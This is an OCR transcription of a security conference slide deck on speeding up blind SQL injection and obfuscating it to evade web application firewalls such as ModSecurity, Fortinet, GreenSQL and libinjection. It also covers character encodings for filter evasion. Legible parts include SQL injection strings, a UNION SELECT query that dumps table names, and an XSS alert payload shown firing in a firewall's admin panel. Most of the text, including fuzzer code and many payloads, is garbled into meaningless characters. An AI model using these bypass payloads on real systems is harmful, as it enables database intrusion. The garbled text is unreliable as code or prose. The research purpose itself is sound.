


O) UNION SELECTThis_Talk™ AS
(‘New Optimization and Obfuscation
TechniquesO)%00

"



#HK K K K K

K K K

Roberto Salgado

"H$"%& () SR (-(. *
/)'01'(*1&$")234"8*-(.%) 156*-"7%4"&-*
/(&#5(-4889*5)31&1&8*3&'*2"815")1&8*
1)(35")*"$*:: (*<=>*28 @ (.4"&*AB*
/65:"&1-53C*<(.%)156*D(-(3).:()*

Contact

)-3783"EF(,-(.G.3*
‘HIJCCFFFGF(,-(.G.3*
‘HIJCCFFFG5F1H()G."2CE>18;5K<*



Overview

Optimization
¥ L&376-1-*"$*B4E&12(5;"-*
¥ Kl421IM(*N%()1(-*

Obfuscation
¥ O%MM()-
¥ B613--1&8*P)(F377-*
¥ 0%&*F15;*(&.""1&8-*

Leapfrog
¥ <=>%
¥ >07*
¥ Q<<*



Exploits of a mom

R"F*5"%])(0(8&5*<=>*?8&@(.4"&-S*
‘HIJCCFFFG,",,6#53,7(-G."2*

*

HIJCCTU.'G."2CVWXC

"""




OPTIMIZATION




OPTIMIZATION

Intro
—

¥ +,6*"*F(*.3)(S*

When T walking,
) 5 worry a lot
Geout the eﬂ‘cneﬂi\j

HIJCCTU.'G."2CYZC -




OPTIMIZATION
Blind SQL Injections

—

*Analysis of methods
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Binary Search Tree
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ORegex methodO - Bgimone 'ROOT_ATI' Quatrini
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Bitwise Methods
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"Faster Blind MySQL Injection Using Bit Shifting" - By
Jelmer de Hen
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"Faster Blind MySQL Injection Using Bit Shifting" -
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"Bit ANDIng" - By Ruben Ventura
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Taking It a step further*
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R"F*3,"%5*$%-1&8*5;(2S*
- OR 1#"OR™OR"="="0OR"='
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XiXhh-"7 (. SEFKKHKK " KKK K"K ff*Jc 8)"%Iu."&.35[|%-()\||$)"2|26-N7G%-()|+R(D[%-O\cF TXWis$i$XgaC
V[<(>l: E*%d1"d 7. 1.728)"%lu."&.35[.K>%2du&Lb 9]9]\0)"b *2&0"Db3:1"du<.R(2LG!K> bd< *F;()(* 53B7(u-.R(23&"5*
1&[fTihi(iI$XWiXgihi$i(Z$XViViYiZiiofTi X hXVX]i.\, d?2Kd*< > LEFf KK KK KK K™ K "KHK "™ ' f KK *
A2Kd*< > L EF KK KK KK K™ KKK KK, d K d*< > 1 EFIKKEK KK KKK KK KK,
d?Kd*< > LEF K KKK KK K KKK KK\ *



BYPASSING FIREWALLS

TN



BYPASSING FIREWALLS
General Tips

—

¥ D(3*".%2(&534"8&*$")*%&(TI(.5(**,(;301")*3&*
"] (-

¥ >(3)&*F;35*5;(*eBb<*1-*.313,7(*"$*3&*F;35*15*.3&*
387(*

¥ O%MM(PBE*;(7I"P&*%&"™.%2(&S(™*""'14(-*

¥ B(*.)(340(m*

e



OBFUSCATION
Simple PHP Fuzzer

—

FS9:1 *
W71&P268-N7u."&&(.50".37;"-580) """ 580&*
*$ VWLt €8\ ZEXDN*~*
WN%()6*26-N7uN%()B< > |:*|*ODKb*'%37*+R D *|*G}) [wA*Gzc|z\E*

* ABNWNOL()B\*~*
* % RRARYH(E

* $*
F G ITE((T  [WAGHE:) [WAht) sE*

ok
Ss*

e



OBFUSCATION
Simple PHP Fuzzer

—




OBFUSCATION
Simple Python Fuzzer

—

+$A231&\I*

+3)8 1&GF3)R(1)(.35(2  98(1)(.34"8+3)&1&8 \*

wrx *xchB<=>" G."&&(.5 [;"-5¢C 27".37;"-529%06-()c2)"52H3--F' cz29% cz5(-58*1")5dV/\V/A*
****.%)-")*C*',G.%)-")[\*

wk 33, 38 [WZAI*

*****Biff\]*

*kRTEN G (T(.%G6< > 1:4]* ODKbx-%-()-*+R D *]c]*71215 *[;) [3\\*

**

wxkkima iy 3 Iy Ix-Jx-z % *[39ET [3\9*) [3Ve¥8u]f *b(Dizd +*>?d z\*
**

****’\$*@/O$GBG<:>',G\))") \J*

kkkFFhkkxkdk %) -")*C*' ’ G. %)_") [\*

*******%@_ E- |:7$

e



OBFUSCATION
Allowed Whitespaces

—

<=>15(V*

- 0A, 0D, 0C, 09, 20
b6<=>*7*

- 09, 0A, OB, 0C, 0D, AQ, 20
bB<=>*V/*

- 01, 02, 03, 04, 05, 06, 07, 08, 09, OA, 0B,
0C, 0D, OE, OF, 10, 11, 12, 13, 14, 15, 16,
17,18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F,
80, 81, 88, 8D, 8F, 90, 98, 9D, A0

e



OBFUSCATION
Allowed Whitespaces

—

["-58)(<=>*

- 0A, 0D, 0C, 09, 20
K)3.7(*]]8*

-00, OA, 0D, 0C, 09, 20
b<<=>*

- 01, 02, 03, 04, 05, 06, 07, 08, 09, OA, OB,
0C, 0D, OE, OF, 10, 11, 12, 13, 14, 15, 16,
17,18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20

e



OBFUSCATION
Allowed Whitespaces

—

E&>"1:%aSODKbEW-()-F+R'D" E] BE4J]|E*

e



C:\Windows\system32\cmd.exe - mysgl.exe -uroot -P 1337

C:\Users\Light0S\Downloads\mysql-3.23.58\mysql-3.23.58\bin>mysql.exe -uroot -P 1
337 :

lelcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 6 to server version: 3.23.58-max-debug
Type "help;’ or ’\h’ for help. Type '\c¢’ to clear the huffer.

mysgql> use test
Database changed

1 row in set (B.00 sec)

nysql> _




BYPASSING FIREWALLS
MySQL Obfuscation

—

] GA?Kd*<™> "L xW*

VGWA?2Kd*< > W™

] (f, d?Kd*<™>"1*W*

<> ydCiG(V,d?Kd*< > 1 W+

| (JLde#fGT, d?Kd*< > L*W*

] Cam|WVad?KdCamV|VVxd: CaiB,7(u&32(aC*
S+, d?Kd*< > G| GEFA(Uu&32(*

<> wG| [ GBAH{U&32(*

<>l ~urGl| | EBFU&32( o

<> =18 5K<FGH|||37i0&32(F> 18, 5K<*

<>TE* 1&$M)234"&uU-.5(23 HVVAG(EGE(-HVEVA(ZE(u&32(*
<>STEAF)"2* 1&$)234"&u-.5(23 GG (U&32(F

K K K K K K K K K K K K




BYPASSING FIREWALLS
MSSQL Obfuscation

—

G d?Kd*<™>"1*W*

] Gd?Kd*<™>"1: G\W3713-*

| (f, d?Kd*<™>"1*W*

| (JLde#]|cfGf,  d?Kd*< > L*W*

<>STEF AT d?Kd*< > LEFWE

<>y d?KdR< S T RWE

y], d?Kd*< > 1:*W*

<>'1:* |ODKb 53,7¢(+R°D" vic y]Ldey]c yI*

<>l 753,7(u&32(zZODKE1&$")234"&u-.;(23 r@3,7(+*

R

K K K K K K K K K



BYPASSING FIREWALLS
Oracle Obfuscation

—

¥ 10, d?Kd*< > 1w

¥ e, d?Kd*< > W

¥ <S> FTXQIlIWELIZZSi(]i17Z *ODKb377u53,u53,7(-

¥ <>L* IRD[IVIFIRDINX\ A IRD[h Y\ *ODKE377u53,u53, 7(-

¥ <>t 53,7(u&32(xff ODKbxif 377u53,u53,7(-*

R



BYPASSING FIREWALLS
General Tips

¥ e"&05*%-53)5*F15;*-"2(5;1&8*",01"%-*

- 1 UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES

¥ 2&-5(3'9*U((I*15*-1217(m*

- CASE WHEN BINARY TRUE THEN TRUE END IS
NOT UNKNOWN HAVING TRUE FOR UPDATE

R



BYPASSING FIREWALLS - SQLI Obfuscation

Modsecurity

HWHO**% &1 &V 1&*
V,(5F((&*."22(&5-*
v1&*®
V,(5F((&*."22(&5-*
-(7(.5%TT ofTg] 71WiamV|VE3,7(u&32(a@QV*
$)"'2*1&%$")234"&uU-.;(23G53,7(*¥*71215*]*

e



BYPASSING FIREWALLS - SQLI Obfuscation

Modsecurity
IL<*+R d* B?dLD#*.D, *:R d*:D, * de* 7<*

dAdK+d*OKD* /eL: *
d?Kd*<'>I'* pL::D'<<'< *

I*bKe * GV d?Kd«Lf <>'1*
19.%0))(&5u%-()9V*

e



BYPASSING FIREWALLS - SQLI Obfuscation

Fortinet

xLf "xB| >IW xeV!1x g xOi**, xOW?Kd*
< SXOOL*W*

e



BYPASSING FIREWALLS - SQLI Obfuscation

GreenSQL

¥ #*d7Kd*< > 1* 53,7(u&32(*ODKb¥&%$")234"&u-.;(23G53,7(*71215*]*

¥ J*Lde*|cf* d?Kd*<>'I:* 53,7(u&32(*ODKbt&$")234"&u-.;(23G53,7(¥71215*]*
¥ J*Lde*|ciG(]* ,d?Kd*< > 1:* 53, 7(u&32(*ODKbE&S$")234"&u-.;(23G53,7(371215*]*
¥ J*Lde*|c* 183)6*d?Kd*< > 1:* 53, 7(u&32(*ODKbt&$")234"&u-.;(23G53,7(371215*]*

¥ 2 >1:%21'[53,7(u&32(9]9]\*ODKb*1&$") 234" &U-.;(23G53,7(¥71215*|\*c+!j9]OW

e



= [CIH X
" GreenSQL : Policy x %

€ - X & hitrs//localhost:5000/index.php?module=policy/list % e & =

& Database Database Security Policy

Security } ,
Active ID Database Type Source Database User Query Groups  Action Comment
Policy 2 Any EW Anu Ao Allow 1 X
. & The page at https://localhost:5000 says:
Objects 3 Any - — Allow 1 X
Risk Profiles 1 Any ‘ Allow R
Query Groups 4 Any Block alert(0)">testing">

Waiting for localhost...

.




BYPASSING FIREWALLS - SQLI Obfuscation

—

Liblnjection

¥ #*d?Kd*< > 1% 53, 7(u&32(*+ (-(.  *ODKb1&$")234"&u-.;(23G53,7(*>?h?2:4]*
¥ #*d?KdxiL <>'1* 53,7(u&32(*ODKb1&$")234"&u-.;(23G53,7(*>?b2:*]*

¥ #]$, d?Kd*< > 1% "79%2&*ODKb*53, 7(*

¥ ]€%e 151D E5(-5*L<03).;3) [WAEX Q 123-5()G',"GTIu.2'-;(77 *®' o**

¥ #1',d?2Kd*< > 1* 53,7(U&32(*ODKb1&$")234"&u-.;(23G53, 7(*>?b2:4]*

¥ W dPKd*< > 1* 53,7(u&32(*ODKh&$") 234" &u-.;(23G53,7(¢>7b2:4]*

e



BYPASSING FIREWALLS - SQLI Obfuscation

—

Liblnjection

¥ (5E((& *Lde |1'*:301 88968 1"&*-(7(53,7(U&32(*$)"2*1&$")234"&u-.:(23G53,7(*
J*2"*Cam]a%&1"&*-(7(53,7(u&32(*$)"2*1&$") 234" &u-.;(23G53, 7(##*

BY0h(t-*&" 5068 & F&*S") 00 | L &*-(7 (53, 7(U&32(*$) "2*1&$") 234" &u-.;(23G53, 7(*
5(-50#]C|Ca%&1"&(7(.553,7(u&32(*$)"2*1&$")234"&U-.;(23G53,7(*71215*]9]
#]*%&1"&*-(7(Etz2 953, 7(U&32(*$)"2*1&$") 234" &u-.;(23G53, 7(*
H]KIA*20*<RLD *hKe d?Kd*< > 1% 53,7(u&32(*$)"2*1&$")234"&u-.:(23G53,7(*

WG || 338 * 068 1"&*-(7 (5,7 (U&32(-$)"2*1&$") 234" &U-.;(23G53, 7 (*

K-(7( 5BV 14068 U8 F&*: 301 &dPKd*-(7(.5*53,7(u&32(*$)"2*1 &$") 234" &u-.;(23G53, 7(*
Camh]]]]]aCCami86&1"&*-(7(53,7(u&32(*T*$)"21&$")234"&u-.;(23G53,7(*71215*]*
#]CE*0%1'35(*%&1"&*- (768 7(U&32(*$)"2*1&$") 234" &u-.;(23G53,7(*71215*]*

K1 *%&1"&*(7(F37(U&32(*$)"2*1&$")234"&U-.;(23G53,7(371215*]*

] 1,1&3)8s W*0%&1"&*-(BEHT (U&32(*$)"2*18$")234"&U-.;(23G53,7(*71215*]*
#]*1)".(%)(* 3&376{(85-'8%-9-$A*%&1"&*-(7 (T 7(U&32(*$)"2*
1&$")234"&u-.;(23G53,7(371215*]*

K KK KKK KK KKK KK




BYPASSING FIREWALLS
Encodings

—

D>*(&."(*
"%, 7(* D>*(&."(*
&LM(H(&(*
SOHY*2%74#,65(*(&." (*
01)-5*d1,,7(*
<(."&™*d1,,7(*
e"%,7(*d1,,7(*
2&0371*/().(&5*(&." (*
2&0371*R(T*(&."(*

R

#K K K K KKK KK



BYPASSING FIREWALLS b Encodings
URL Encode

—

¥ D>*&."1&8*1-*%-(*5"*5)3&-$")2*-I(.137_*
:3)3.5()-9*-"5;(6*.3&*,(*-(&5*"0(*R::/*

¥ 1:3)3.5()-*8(5%5)3&-$")2("*5"*5: (1)*:(T3'(.1237*
(N%1037(&59*)(PT(*F15;*3*1().(&5*-18&*

¥ BrCHXi]r*

R



BYPASSING FIREWALLS b Encodings
Double URL Encode

—

¥ "%, 7(* D>*(&. " (*1-*5: (*1)".(—-*"$*) (#(&. " 1&8*
1().(&5*-18&*

¥ 3*c*xi]*

¥ XiPFCWZIT*

R



BYPASSING FIREWALLS b Encodings
URL Encode / Weak Firewall

—

e(-.)114"&*"$*<=>bL/*532I()*-.)115*".;3)(&."( _*%-("*5"*
D>*(&."'(*5;(*)(N%(-5J*

"HS0&! ()*(+,- HALHSY& " (/$+(.--'01.2*3(45$/."#(
)6.)(7*(3*)(&587$1*7$()6$(5S9&SH) (+$%*5$(-5+1$##03: (0
)65*&:6()6$05& $#S]

R



BYPASSING FIREWALLS b Encodings
URL Encode / Weak Firewall

—

Demo



BYPASSING FIREWALLS b Encodings
Unicode

—

¥ <12173)*5"%D>*(&."1&89%;"F(0()*5;(*;(T*
:3)3.50)*1-*)(PT("*F15;*\%ff *

¥ <0%I1")5(™,6*2?<
M 3*cHxi]*

¥ Xi]FC*xObffil*

R



BYPASSING FIREWALLS b Encodings
UTF-8 Multi-byte

—
¥ (*7(3'188%15-*"$*5;(*P)-5* 65(9*%I1*5"*5; (*P)-5+f9*
Y(D(-(&5*5;(*5"537*&%2,()*"$*$"77"F1&8*,65(-*5"*

"217(5(*5; (*-(N%(&.(*

¥ (*$"77"F1&8*,15-*37()*5;(*P)-5**1&*5: (*P)-5* 65(*
$")2%13)5*"$*.:3)3.5()*

M 3% "&-(.9%40(*,65(*;3-*fi*1&*5: (*:18:4#")'()*
"-14"89* "F(0()*5;(-(*5F"*, 15-*3) (*)('%& '3&5*

R



BYPASSING FIREWALLS b Encodings
UTF-8 Multi-byte

,/B$D"& .
" n_n

fITTTTFT *

FTTTTT™ fTTTTTT = = " "
IIFTTTT* JFTTTTTT JTTTTTT * = "
MIFTTT * FTTTTTT JTTTTTT JFTTTTTT * =

NerT > WTTTTTT HTTTTTT HTTTTTT HTTTTTT *

mifr = JTT7TTT fTTTTTT JfTTTTTT fTT77TT JfTTTTTT

R



BYPASSING FIREWALLS b Encodings
UTF-8 Multi-byte

—

IBS"ASGF$-%% | HI'.1%BS$."JIK"$-% @+ $+

<"O/B$"D$GF$ % Hpa e Ik If *

<"O/B$"D$GF$-% ANV ff *

<"O/B$"'D$GF$ %50 d I f] *

<"O/B$"D$GF$- %N 1] *

="0/B$"D$GF$ % BU( e 42<) I If*




BYPASSING FIREWALLS b Encodings
Nibble

—

¥ L*&1,,7(*1-*g*,15-*
¥ K&(*&1,,7(*)(1)(-(&5-*3*:(T* 1815*[Wpg*c*]i‘*

¥F"&1,,7(-*")*3&*.5(59%) (1) (-(&5*3%;(T*.;3)3.5()*

R



BYPASSING FIREWALLS b Encodings
Nibble

i
f* f* f* fff

I I I fff 1
W W W ff ]+
v Ve Ve ff 1+
g* g* g* ] f*
ya Z* z* f1f]*
i* i* i* £1) *
X* X* X* £+

Y Y If* ] ff+

h* hr I Kl
L* If* W 1] f*
B* II* A 111
i W Ig* 1 f
e* % Jz* 1 f1*
s lg* I 1

O* 1Z* IX* 1

.



BYPASSING FIREWALLS b Encodings
First Nibble

—

¥ 01)-5%9*7(3'1&8* 15-*3)(* D>*(&."(*
¥ "3 _*crel*
¥ *c*xVi*

¥ xXP=>]*

. |



BYPASSING FIREWALLS b Encodings
Second Nibble

—

¥ >3-5%*g*)(231&1&8*,15-*3)(* D>*(&." (**
¥ A3 *c*xi"
M ]*C*XV]*

¥ xi P=*

R



BYPASSING FIREWALLS b Encodings
Double Nibble

—

¥ !||2’1&34"&*||$*/\P)_5*&1’ ,7(—*|*/\_(.Il&l*&1’ ,7(_*
(8."1&8*

*

e

*

¥ I*c*VI*

*

¥ TV
*

¥ XP=>P=;*

R



BYPASSING FIREWALLS b Encodings
Invalid Percent

—

?2?7<%)(2"0(-*5;(*1().(&5*-18&*F;(&*&"5*%-(*F15;*0371™; (T
*

H(*+HLO*)(L(10(-J*

¥ X< XS XIEX]PXOXDXXXXXKD*X: LXBX>X X*

*

R"F(0()9*??<*)(3'-*15*3-J*

¥ <>I*1*ODKb*:.LB>*

*

R



BYPASSING FIREWALLS b Encodings
Invalid Hex

—

1)(35(*1&0371*;(T*5:35%)(-%75-*1&*5;(*-32(*'(.1237*
037%(*3-*0371":(T*

K

/\3_*C*Xi]*
XiJ*C*i*a*i**]*c*hX*

XWe*CHWHa*|i*IKiZ*Ch X+

#H K K K X

XWe*1-#5; (5-32(*3-*Xi]*

R



BYPASSING FIREWALLS b Encodings
Invalid Hex

lid fL* fL*
1I* fB* fB*
Jw i fix
Jv* fex fex
Ig* o o
7 fO* fO*
;>" o :S"
2" " )"

R



LEAPFROG

E———



LEAPFROG
What is 1t?

—
¥ L*5"7*(-18&("*5"*;3)'(&*6"%)*P)(F377*
¥ 01&'-*,613--(-*$")*'1...O)(&5*F(,*3H3.U-*
K<=>1
7'k*Q<<*
K*>0O?*
K*1"&5(&5*0175()-*
¥ DN(35(-*377*15-*1367"3'-*'6&321.3776*
¥ )'01'(-*)(."22(&'34"&-*"&*-%..(--$% 7**,613--(-*
¥ *n(&(0)35(-*3*-.")(*,3-("*"&*-%..(--$%7*,613--(-*

R — "



LEAPFROG
WAF Acceptance Factor

—

¥ +LO*L..(153&.(*O3.5")*1-*3%- ")(*,3-(*"&*5; (*
32"06&5*"$*2371.1"%-*)(N%(-5-*(5(.5("*




LEAPFROG
Wife Acceptance Factor

—

¥ +1$(*L..(153&.(*O3.5")*,"))"F(*$)"2J*
HIJCC(&GF1U1I('13G"8CF1U1C+1$(u3..(153&.(t1$3.5")




DEMO




THE END

E———



THE END
Contact Information

—

E>18:5K<*
)-3783"EF(,-(.G.3*
‘HIJCCFFFGF(,-(.G.3*

R — "






